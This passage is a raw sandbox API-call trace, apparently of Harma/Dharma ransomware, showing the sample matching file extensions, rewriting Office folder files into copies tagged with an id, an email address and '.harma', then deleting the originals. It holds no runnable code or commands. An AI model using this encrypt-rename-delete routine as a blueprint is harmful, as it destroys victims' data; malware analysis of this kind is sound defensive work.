lpString2="R.DLL") returned -1 [0157.307] lstrlenW (lpString=".ppt") returned 4 [0157.307] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.307] lstrlenW (lpString=".zip") returned 4 [0157.307] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.307] lstrlenW (lpString=".rar") returned 4 [0157.307] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.307] lstrlenW (lpString=".bz2") returned 4 [0157.307] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.307] lstrlenW (lpString=".7z") returned 3 [0157.307] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.307] lstrlenW (lpString=".dbf") returned 4 [0157.307] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.308] lstrlenW (lpString=".1cd") returned 4 [0157.308] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.308] lstrlenW (lpString=".jpg") returned 4 [0157.308] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.308] lstrlenW (lpString=".doc") returned 4 [0157.308] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.308] lstrlenW (lpString=".docx") returned 5 [0157.308] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0157.308] lstrlenW (lpString=".pdf") returned 4 [0157.308] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.308] lstrlenW (lpString=".xls") returned 4 [0157.308] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.308] lstrlenW (lpString=".xlsx") returned 5 [0157.308] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0157.308] lstrlenW (lpString=".ppt") returned 4 [0157.308] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.308] lstrlenW (lpString=".zip") returned 4 [0157.308] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.308] lstrlenW (lpString=".rar") returned 4 [0157.308] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.308] lstrlenW (lpString=".bz2") returned 4 [0157.308] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.309] lstrlenW (lpString=".7z") returned 3 [0157.309] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.309] lstrlenW (lpString=".dbf") returned 4 [0157.309] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.309] lstrlenW (lpString=".1cd") returned 4 [0157.309] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.309] lstrlenW (lpString=".jpg") returned 4 [0157.309] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.310] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0157.310] lstrlenW (lpString="MOVE.VRD") returned 8 [0157.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.992] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1420) returned 1 [0157.992] CloseHandle (hObject=0x368) returned 1 [0157.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 0x20 [0158.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.036] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.036] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.037] GetLastError () returned 0x0 [0158.038] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x58c, lpOverlapped=0x0) returned 1 [0158.064] WriteFile (in: hFile=0x210, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x590, lpOverlapped=0x0) returned 1 [0158.065] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.065] WriteFile (in: hFile=0x210, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0158.065] SetEndOfFile (hFile=0x210) returned 1 [0158.065] CloseHandle (hObject=0x210) returned 1 [0158.065] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.065] SetEndOfFile (hFile=0x360) returned 1 [0158.067] CloseHandle (hObject=0x360) returned 1 [0158.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.068] lstrlenW (lpString=".doc") returned 4 [0158.069] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString=".docx") returned 5 [0158.069] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0158.069] lstrlenW (lpString=".pdf") returned 4 [0158.069] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString=".xls") returned 4 [0158.069] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.069] lstrlenW (lpString=".xlsx") returned 5 [0158.069] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0158.069] lstrlenW (lpString=".ppt") returned 4 [0158.069] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.069] lstrlenW (lpString=".zip") returned 4 [0158.069] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.069] lstrlenW (lpString=".rar") returned 4 [0158.069] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString=".bz2") returned 4 [0158.069] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString=".7z") returned 3 [0158.069] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.069] lstrlenW (lpString=".dbf") returned 4 [0158.069] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.069] lstrlenW (lpString=".1cd") returned 4 [0158.069] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.069] lstrlenW (lpString=".jpg") returned 4 [0158.069] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.069] lstrlenW (lpString=".doc") returned 4 [0158.070] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.070] lstrlenW (lpString=".docx") returned 5 [0158.070] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0158.070] lstrlenW (lpString=".pdf") returned 4 [0158.070] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.070] lstrlenW (lpString=".xls") returned 4 [0158.070] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.070] lstrlenW (lpString=".xlsx") returned 5 [0158.070] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0158.070] lstrlenW (lpString=".ppt") returned 4 [0158.070] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.070] lstrlenW (lpString=".zip") returned 4 [0158.070] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.070] lstrlenW (lpString=".rar") returned 4 [0158.070] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.070] lstrlenW (lpString=".bz2") returned 4 [0158.070] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.070] lstrlenW (lpString=".7z") returned 3 [0158.070] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.070] lstrlenW (lpString=".dbf") returned 4 [0158.070] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.070] lstrlenW (lpString=".1cd") returned 4 [0158.070] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0158.070] lstrlenW (lpString=".jpg") returned 4 [0158.070] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.071] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0158.071] lstrlenW (lpString="MSTORE_COL.HXT") returned 14 [0158.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.071] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=206) returned 1 [0158.071] CloseHandle (hObject=0x360) returned 1 [0158.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 0x20 [0158.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.072] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.072] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.073] GetLastError () returned 0x0 [0158.073] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xce, lpOverlapped=0x0) returned 1 [0158.074] WriteFile (in: hFile=0x210, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0158.075] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.075] WriteFile (in: hFile=0x210, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0158.075] SetEndOfFile (hFile=0x210) returned 1 [0158.075] CloseHandle (hObject=0x210) returned 1 [0158.076] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.076] SetEndOfFile (hFile=0x360) returned 1 [0158.078] CloseHandle (hObject=0x360) returned 1 [0158.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 1 [0158.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.080] lstrlenW (lpString=".doc") returned 4 [0158.081] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.081] lstrlenW (lpString=".docx") returned 5 [0158.081] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.081] lstrlenW (lpString=".pdf") returned 4 [0158.081] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.081] lstrlenW (lpString=".xls") returned 4 [0158.081] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.081] lstrlenW (lpString=".xlsx") returned 5 [0158.081] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.081] lstrlenW (lpString=".ppt") returned 4 [0158.081] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.081] lstrlenW (lpString=".zip") returned 4 [0158.081] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.081] lstrlenW (lpString=".rar") returned 4 [0158.081] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.081] lstrlenW (lpString=".bz2") returned 4 [0158.081] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.081] lstrlenW (lpString=".7z") returned 3 [0158.081] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.081] lstrlenW (lpString=".dbf") returned 4 [0158.081] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.081] lstrlenW (lpString=".1cd") returned 4 [0158.081] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.081] lstrlenW (lpString=".jpg") returned 4 [0158.081] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.082] lstrlenW (lpString=".doc") returned 4 [0158.082] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.082] lstrlenW (lpString=".docx") returned 5 [0158.082] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.082] lstrlenW (lpString=".pdf") returned 4 [0158.082] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.082] lstrlenW (lpString=".xls") returned 4 [0158.082] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.082] lstrlenW (lpString=".xlsx") returned 5 [0158.082] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.082] lstrlenW (lpString=".ppt") returned 4 [0158.082] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.082] lstrlenW (lpString=".zip") returned 4 [0158.082] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.082] lstrlenW (lpString=".rar") returned 4 [0158.082] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.082] lstrlenW (lpString=".bz2") returned 4 [0158.082] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.082] lstrlenW (lpString=".7z") returned 3 [0158.082] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.082] lstrlenW (lpString=".dbf") returned 4 [0158.082] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.082] lstrlenW (lpString=".1cd") returned 4 [0158.082] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0158.082] lstrlenW (lpString=".jpg") returned 4 [0158.083] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.083] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.083] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16 [0158.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.083] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=114) returned 1 [0158.083] CloseHandle (hObject=0x360) returned 1 [0158.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 0x20 [0158.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.084] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.084] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.085] GetLastError () returned 0x0 [0158.085] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x72, lpOverlapped=0x0) returned 1 [0158.086] WriteFile (in: hFile=0x210, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.087] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.087] WriteFile (in: hFile=0x210, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0158.087] SetEndOfFile (hFile=0x210) returned 1 [0158.087] CloseHandle (hObject=0x210) returned 1 [0158.087] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.087] SetEndOfFile (hFile=0x360) returned 1 [0158.090] CloseHandle (hObject=0x360) returned 1 [0158.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 1 [0158.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.091] lstrlenW (lpString=".doc") returned 4 [0158.091] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.091] lstrlenW (lpString=".docx") returned 5 [0158.091] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.091] lstrlenW (lpString=".pdf") returned 4 [0158.091] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.091] lstrlenW (lpString=".xls") returned 4 [0158.091] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.091] lstrlenW (lpString=".xlsx") returned 5 [0158.091] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.091] lstrlenW (lpString=".ppt") returned 4 [0158.091] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.091] lstrlenW (lpString=".zip") returned 4 [0158.091] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.091] lstrlenW (lpString=".rar") returned 4 [0158.091] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.091] lstrlenW (lpString=".bz2") returned 4 [0158.091] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.091] lstrlenW (lpString=".7z") returned 3 [0158.091] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.092] lstrlenW (lpString=".dbf") returned 4 [0158.092] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.092] lstrlenW (lpString=".1cd") returned 4 [0158.092] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.092] lstrlenW (lpString=".jpg") returned 4 [0158.092] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.092] 